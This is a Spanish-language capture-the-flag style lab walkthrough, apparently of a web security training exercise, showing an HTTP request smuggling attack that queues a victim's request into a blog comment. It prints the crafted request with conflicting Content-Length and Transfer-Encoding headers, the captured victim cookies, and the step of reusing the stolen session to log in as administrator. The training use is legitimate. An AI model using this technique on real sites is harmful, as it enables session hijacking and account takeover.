
LAB
Para este laboratorio, se tiene que realizar un robo de cookie lanzando un http request smuggling y que nuestra solicitud maliciosa logre realizar un comentario.

Construyendo la solicitud en donde lanzamos un post, teniendo en cuenta los campos que deberían ir. Así mismo, se debe tener en cuenta cada uno de los Content-Length
POST / HTTP/1.1
Host: 0a10005e0470b8e883671ec30099005a.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 279
0
POST /post/comment HTTP/1.1
Cookie: session=JDBPDpyX1kBZnHZBCTn5wOdijR1BB4AO
Content-Type: application/x-www-form-urlencoded
Content-Length: 123
csrf=voSJhPkn7n38FhiHzjgBH4rfq65IUy7c&postId=9&name=test&email=test%40test.com&website=https%3A%2F%2Ftest.com&comment=test3Para el primero valor del Content-Length, tenemos 123.

Para el segundo Content-Length es 279

Al enviar nuestra solicitud podemos observar que el comentario se logra realizar.


Al inflar un poco mas el Content-Length de la segunda request, podemos observar que para este caso tenemos 123 y le vamos agregar 67 mas, teniendo un total de 200

Luego de enviar podemos ver que parte de las solicitud se refleja en el comentario.

Si queremos obtener las cookies de un usuario autenticado, contamos la cantidad que debe ir en el Content-Length
GET / HTTP/2
Host: 0a10005e0470b8e883671ec30099005a.web-security-academy.net
Cookie: session=JDBPDpyX1kBZnHZBCTn5wOdijR1BB4AO
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Dnt: 1
Sec-Gpc: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Por lo que vemos, se tiene un total de 500 aproximadamente, asi que agregaremos un poco mas.

Luego de enviar nuestra solicitud y esperar, podemos observar que las solicitud quedo comentada, así como las cookies del usuario logeado. Esto debido a que nuestra primera solicitud queda en modo keep alive.
test3GET / HTTP/1.1 Host: 0a10005e0470b8e883671ec30099005a.web-security-academy.net sec-ch-ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" upgrade-insecure-requests: 1 user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-fetch-site: none sec-fetch-mode: navigate sec-fetch-user: ?1 sec-fetch-dest: document accept-encoding: gzip, deflate, br, zstd accept-language: en-US,en;q=0.9 priority: u=0, i cookie: victim-fingerprint=DkTd3WsYNQ9esEAxgH6MXCeOKerz36Cl; secret=LF078mvMVYP79qIteI1YdoormDkC5Gop; session=39yWwCJrSgBRz4fq1vwolKsWBt2yIPkM Content
Luego de obtener la cookie del usuario administrador, podemos usar la sesion e ingresar como este usuario.
